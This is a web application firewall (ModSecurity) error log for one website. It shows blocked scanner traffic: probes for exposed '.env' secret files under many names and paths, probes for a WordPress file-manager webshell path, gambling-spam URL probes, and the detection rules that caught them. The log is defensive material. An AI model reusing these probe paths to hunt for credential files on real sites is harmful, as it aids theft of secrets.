[Sun Apr 05 09:45:51.974511 2026] [:error] [pid 45409:tid 45421] [client 217.182.195.126:56294] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adG-z9Ht_Oyw03gjCNhNowAAAMo"]
[Sun Apr 05 09:45:54.076305 2026] [:error] [pid 45304:tid 45347] [client 217.182.195.126:56306] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adG-0g5jnqDKKovdRklGRwAAAEM"]
[Sun Apr 05 09:45:54.389761 2026] [:error] [pid 45305:tid 45391] [client 217.182.195.126:56312] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adG-0ujDQjr7aWhjflDMSgAAAJQ"]
[Sun Apr 05 09:45:56.480133 2026] [:error] [pid 45305:tid 45374] [client 217.182.195.126:37572] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adG-1OjDQjr7aWhjflDMWAAAAIM"]
[Sun Apr 05 09:45:56.911072 2026] [:error] [pid 45305:tid 45385] [client 217.182.195.126:37584] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adG-1OjDQjr7aWhjflDMXQAAAI4"]
[Sun Apr 05 09:45:59.024399 2026] [:error] [pid 30921:tid 30940] [client 217.182.195.126:37598] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adG-12FGQVn8Q0ueB27MrAAAARE"]
[Sun Apr 05 09:45:59.450005 2026] [:error] [pid 45305:tid 45390] [client 217.182.195.126:37608] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adG-1-jDQjr7aWhjflDMZwAAAJM"]
[Sun Apr 05 09:46:01.471876 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:37622] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adG-2ejDQjr7aWhjflDMdAAAAIo"]
[Sun Apr 05 09:46:01.915762 2026] [:error] [pid 30921:tid 30944] [client 217.182.195.126:37628] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adG-2WFGQVn8Q0ueB27MsAAAARU"]
[Sun Apr 05 09:46:03.834331 2026] [:error] [pid 45409:tid 45427] [client 217.182.195.126:37630] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adG-29Ht_Oyw03gjCNhNvgAAANA"]
[Sun Apr 05 09:46:04.262534 2026] [:error] [pid 45305:tid 45391] [client 217.182.195.126:37646] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adG-3OjDQjr7aWhjflDMggAAAJQ"]
[Sun Apr 05 09:46:06.261045 2026] [:error] [pid 30921:tid 30938] [client 217.182.195.126:37350] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adG-3mFGQVn8Q0ueB27MugAAAQ8"]
[Sun Apr 05 09:46:06.751874 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:37358] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adG-3mFGQVn8Q0ueB27MvAAAAQg"]
[Sun Apr 05 09:46:08.812135 2026] [:error] [pid 30921:tid 30947] [client 217.182.195.126:37372] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adG-4GFGQVn8Q0ueB27MxwAAARg"]
[Sun Apr 05 09:46:09.144824 2026] [:error] [pid 45409:tid 45430] [client 217.182.195.126:37388] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adG-4dHt_Oyw03gjCNhNxAAAANM"]
[Sun Apr 05 09:46:11.205119 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:37392] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adG-4-jDQjr7aWhjflDMmAAAAIo"]
[Sun Apr 05 09:46:11.791658 2026] [:error] [pid 30921:tid 30930] [client 217.182.195.126:37406] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adG-42FGQVn8Q0ueB27M0AAAAQc"]
[Sun Apr 05 09:46:13.776038 2026] [:error] [pid 45409:tid 45415] [client 217.182.195.126:37410] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adG-5dHt_Oyw03gjCNhNzQAAAMQ"]
[Sun Apr 05 09:46:14.203163 2026] [:error] [pid 45303:tid 45324] [client 217.182.195.126:37412] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adG-5rboQ9eViZ4hdnnO6wAAAAc"]
[Sun Apr 05 09:53:11.820552 2026] [:error] [pid 45409:tid 45432] [client 74.248.146.253:10875] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adHAh9Ht_Oyw03gjCNhRxQAAANU"]
[Sun Apr 05 09:53:15.568130 2026] [:error] [pid 45305:tid 45374] [client 74.248.146.253:34130] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adHAi-jDQjr7aWhjflDSIQAAAIM"]
[Sun Apr 05 09:53:19.060592 2026] [:error] [pid 45304:tid 45353] [client 74.248.146.253:46226] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adHAjw5jnqDKKovdRklILQAAAEk"]
[Sun Apr 05 09:53:20.181168 2026] [:error] [pid 30921:tid 30937] [client 74.248.146.253:10841] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adHAkGFGQVn8Q0ueB27P2gAAAQ4"]
[Sun Apr 05 10:23:23.670858 2026] [:error] [pid 45409:tid 45431] [client 91.98.176.11:50324] [client 91.98.176.11] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "135.181.7.82_30ae936a4c02739e82aa95831120372ae8793ebf"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/skins/_all-skins.min.css"] [unique_id "adHHltHt_Oyw03gjCNhkeAAAANQ"], referer: https://measureyourbrand.com.au/
[Sun Apr 05 12:00:42.664503 2026] [:error] [pid 45305:tid 45372] [client 43.157.174.69:53386] [client 43.157.174.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adHeaujDQjr7aWhjflA_-gAAAIE"]
[Sun Apr 05 12:33:10.242171 2026] [:error] [pid 45305:tid 45377] [client 36.41.75.167:54456] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adHmBujDQjr7aWhjflBb4AAAAIY"]
[Sun Apr 05 12:59:33.964148 2026] [:error] [pid 45305:tid 45387] [client 43.157.179.227:36496] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adHsNejDQjr7aWhjflBwVgAAAJA"]
[Sun Apr 05 13:31:31.165919 2026] [:error] [pid 45305:tid 45385] [client 109.107.253.17:41806] [client 109.107.253.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.107.253.17, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adHzs-jDQjr7aWhjflCJGgAAAI4"]
[Sun Apr 05 14:50:43.634325 2026] [:error] [pid 30921:tid 30937] [client 159.198.37.208:43006] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "adIGQ2FGQVn8Q0ueB25SpwAAAQ4"]
[Sun Apr 05 14:50:46.846207 2026] [:error] [pid 45304:tid 45361] [client 159.198.37.208:43016] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "adIGRg5jnqDKKovdRkmigwAAAFE"]
[Sun Apr 05 14:50:50.297548 2026] [:error] [pid 45305:tid 45383] [client 159.198.37.208:57802] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "adIGSujDQjr7aWhjflC3iwAAAIw"]
[Sun Apr 05 14:50:56.851159 2026] [:error] [pid 45304:tid 45344] [client 159.198.37.208:57808] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "adIGUA5jnqDKKovdRkmilQAAAEA"]
[Sun Apr 05 14:50:58.937537 2026] [:error] [pid 45305:tid 45381] [client 159.198.37.208:57816] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "adIGUujDQjr7aWhjflC3kAAAAIo"]
[Sun Apr 05 14:51:01.040782 2026] [:error] [pid 45305:tid 45374] [client 159.198.37.208:8020] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "adIGVejDQjr7aWhjflC3kgAAAIM"]
[Sun Apr 05 14:51:05.351765 2026] [:error] [pid 30921:tid 30923] [client 159.198.37.208:8046] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "adIGWWFGQVn8Q0ueB25S1AAAAQA"]
[Sun Apr 05 14:51:07.261490 2026] [:error] [pid 45303:tid 45330] [client 159.198.37.208:8072] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "adIGW7boQ9eViZ4hdnk82gAAAA0"]
[Sun Apr 05 14:51:09.524100 2026] [:error] [pid 45304:tid 45357] [client 159.198.37.208:13610] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "adIGXQ5jnqDKKovdRkmiqgAAAE0"]
[Sun Apr 05 14:51:10.877748 2026] [:error] [pid 45303:tid 45326] [client 159.198.37.208:13626] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "adIGXrboQ9eViZ4hdnk85AAAAAk"]
[Sun Apr 05 14:51:13.740595 2026] [:error] [pid 30921:tid 30938] [client 159.198.37.208:13652] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "adIGYWFGQVn8Q0ueB25S4AAAAQ8"]
[Sun Apr 05 14:51:15.846803 2026] [:error] [pid 45304:tid 45355] [client 159.198.37.208:13694] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "adIGYw5jnqDKKovdRkmiuwAAAEs"]
[Sun Apr 05 14:51:21.028956 2026] [:error] [pid 45409:tid 45421] [client 159.198.37.208:47804] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "adIGadHt_Oyw03gjCNgOMwAAAMo"]
[Sun Apr 05 14:51:23.753854 2026] [:error] [pid 45409:tid 45422] [client 159.198.37.208:47812] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "adIGa9Ht_Oyw03gjCNgOPwAAAMs"]
[Sun Apr 05 14:51:26.190996 2026] [:error] [pid 45409:tid 45426] [client 159.198.37.208:47824] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "adIGbtHt_Oyw03gjCNgOTQAAAM8"]
[Sun Apr 05 14:51:27.537683 2026] [:error] [pid 45409:tid 45421] [client 159.198.37.208:47830] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "adIGb9Ht_Oyw03gjCNgOUwAAAMo"]
[Sun Apr 05 18:06:09.170863 2026] [:error] [pid 45305:tid 45384] [client 101.32.49.171:59998] [client 101.32.49.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adI0EejDQjr7aWhjflAQaQAAAI0"]
[Sun Apr 05 22:53:44.491550 2026] [:error] [pid 45305:tid 45394] [client 54.36.60.82:41514] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adJ3eOjDQjr7aWhjflCBDgAAAJc"]
[Sun Apr 05 22:53:46.796149 2026] [:error] [pid 45304:tid 45348] [client 54.36.60.82:47198] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adJ3eg5jnqDKKovdRkk35gAAAEQ"]
[Sun Apr 05 22:53:49.294424 2026] [:error] [pid 45409:tid 45413] [client 54.36.60.82:47202] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adJ3fdHt_Oyw03gjCNhUiwAAAMI"]
[Sun Apr 05 22:53:51.830480 2026] [:error] [pid 45409:tid 45425] [client 54.36.60.82:47208] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adJ3f9Ht_Oyw03gjCNhUlQAAAM4"]
[Sun Apr 05 22:53:54.108565 2026] [:error] [pid 45409:tid 45414] [client 54.36.60.82:47218] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adJ3gtHt_Oyw03gjCNhUpAAAAMM"]
[Sun Apr 05 22:53:56.637193 2026] [:error] [pid 45409:tid 45432] [client 54.36.60.82:39814] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adJ3hNHt_Oyw03gjCNhUuwAAANU"]
[Sun Apr 05 22:53:59.130495 2026] [:error] [pid 45409:tid 45430] [client 54.36.60.82:39824] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adJ3h9Ht_Oyw03gjCNhUzAAAANM"]
[Mon Apr 06 01:43:36.277338 2026] [:error] [pid 51581:tid 51673] [client 203.2.64.59:50613] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adKfSN4k74fhQLPUy7FJcAAAAIQ"]
